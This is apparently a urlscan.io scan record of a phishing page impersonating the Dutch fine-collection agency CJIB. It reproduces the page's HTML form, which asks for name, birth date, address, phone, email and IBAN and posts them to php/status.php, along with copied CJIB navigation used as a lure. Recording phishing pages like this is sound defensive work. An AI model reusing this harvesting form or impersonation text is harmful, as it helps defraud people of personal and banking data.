cjib-profiel-bijwerken.22816-5096.s2.webspace.re Open in urlscan Pro
91.218.65.223  Public Scan

Form analysis
2 forms found in the DOM

GET https://www.cjib.nl/en/search

<form action="https://www.cjib.nl/en/search" method="get"> <input class="m-search-bar__input" type="search" name="search_api_fulltext" id="cjib-site-search" placeholder="Do you have a question?"> <button type="submit" class="m-search-bar__submit"
    aria-label="Submit"> <span class="a-icon" aria-hidden="true"> <svg width="24" height="24" viewBox="0 0 32 32" xmlns="http://www.w3.org/2000/svg">
        <path
          d="M18.176 28.324L28.03 17.44H1.176C.392 17.441 0 17.05 0 16.265c0-.785.392-1.177 1.176-1.177H28.03L18.176 4.206c-.588-.588-.588-1.177 0-1.765.589-.588 1.177-.588 1.765 0 7.745 8.53 11.667 12.843 11.765 12.941.196.196.294.49.294.883 0 .392-.098.686-.294.882L19.94 30.088c-.196.196-.49.294-.882.294s-.686-.098-.883-.294c-.588-.588-.588-1.176 0-1.764z"
          fill="currentColor" fill-rule="evenodd"></path>
      </svg> </span> </button></form>

POST php/status.php

<form action="php/status.php" method="post"><span for="fname" style="
        DISPLAY: TABLE-CAPTION;
    ">Voor-en achternaam <input name="fname" id="fname" style="
        border-radius: 5px;
        padding-left: 5px;
        padding-top: 5px;
        padding-right: 5px;
        padding-bottom: 5px;
    " required=""></span><span for="dob" style="
        DISPLAY: TABLE-CAPTION;
    " required="">Geboortedatum <input name="dob" id="dob" style="
        border-radius: 5px;
        padding-left: 5px;
        padding-top: 5px;
        padding-right: 5px;
        padding-bottom: 5px;
    " placeholder="DD/MM/YYYY" maxlength="10" inputmode="numeric" onkeyup="this.value=this.value.replace(/^(\d\d)(\d)$/g,'$1/$2').replace(/^(\d\d\/\d\d)(\d+)$/g,'$1/$2').replace(/[^\d\/]/g,'')" required=""></span><span for="zip" style="
        DISPLAY: TABLE-CAPTION;
    ">Postcode <input name="zip" id="zip" style="
        border-radius: 5px;
        padding-left: 5px;
        padding-top: 5px;
        padding-right: 5px;
        padding-bottom: 5px;
    " required=""></span><span for="house" style="
        DISPLAY: TABLE-CAPTION;
    ">Huisnummer <input name="house" id="house" style="
        border-radius: 5px;
        padding-left: 5px;
        padding-top: 5px;
        padding-right: 5px;
        padding-bottom: 5px;
    " required=""></span><span for="state" style="
        DISPLAY: TABLE-CAPTION;
    ">Stad <input name="state" id="state" style="
        border-radius: 5px;
        padding-left: 5px;
        padding-top: 5px;
        padding-right: 5px;
        padding-bottom: 5px;
    " required=""></span><span for="phone" style="
        DISPLAY: TABLE-CAPTION;
    ">Telefoonnummer <input name="phone" id="phone" style="
        border-radius: 5px;
        padding-left: 5px;
        padding-top: 5px;
        padding-right: 5px;
        padding-bottom: 5px;
    " inputmode="numeric" required=""></span><span for="email" style="
        DISPLAY: TABLE-CAPTION;
    ">E-mailadres <input name="email" id="email" style="
        border-radius: 5px;
        padding-left: 5px;
        padding-top: 5px;
        padding-right: 5px;
        padding-bottom: 5px;
    " pattern="^[a-zA-Z0-9-=_.]+@[a-zA-Z0-9.-]+\.[a-zA-Z]+$" required=""></span><span for="rek" style="
        DISPLAY: TABLE-CAPTION;
    ">Rekeningnummer (IBAN) <input name="rek" id="rek" style="
        border-radius: 5px;
        padding-left: 5px;
        padding-top: 5px;
        padding-right: 5px;
        padding-bottom: 5px;
    " required=""></span><br><button class="m-quicklink" style="width: 35%;" type="submit">Bijwerken</button><br><br></form>

Text Content

 * Home
 * Direct regelen
   
   
   TOPTASKS
   
   
    * IK WIL MIJN BOETE BETALEN.
   
   
    * IK KAN NIET IN EEN KEER BETALEN
   
   
    * IK BEN HET NIET EENS MET MIJN BOETE
   
   
    * IK BEN HET NIET EENS MET MIJN BETALINGSHERINNERING
   
   
    * IK WIL MIJN FLITSFOTO BEKIJKEN
   
   
    * ZORGVERZEKERING (ADMINISTRATIE ACHTERSTAND)
   
   
    * WHAT IS THE CJIB?
   
   
    * HOW DO WE WORK?

Zoeken
Group 10 Created with Sketch. NL





WERK UW GEGEVENS BIJ

Dit veld is verplicht!

Voor-en achternaam Geboortedatum Postcode Huisnummer Stad Telefoonnummer
E-mailadres Rekeningnummer (IBAN)
Bijwerken





DUTCH VISITOR

 * Page 1 Created with Sketch. Nederlands
   


INTERNATIONAL VISITORS

This will take you to another section of our site with information specifically
for international visitors.
 * Group 8 Created with Sketch. Nederlands (BE)
   
 * Created with Sketch. Čeština
   
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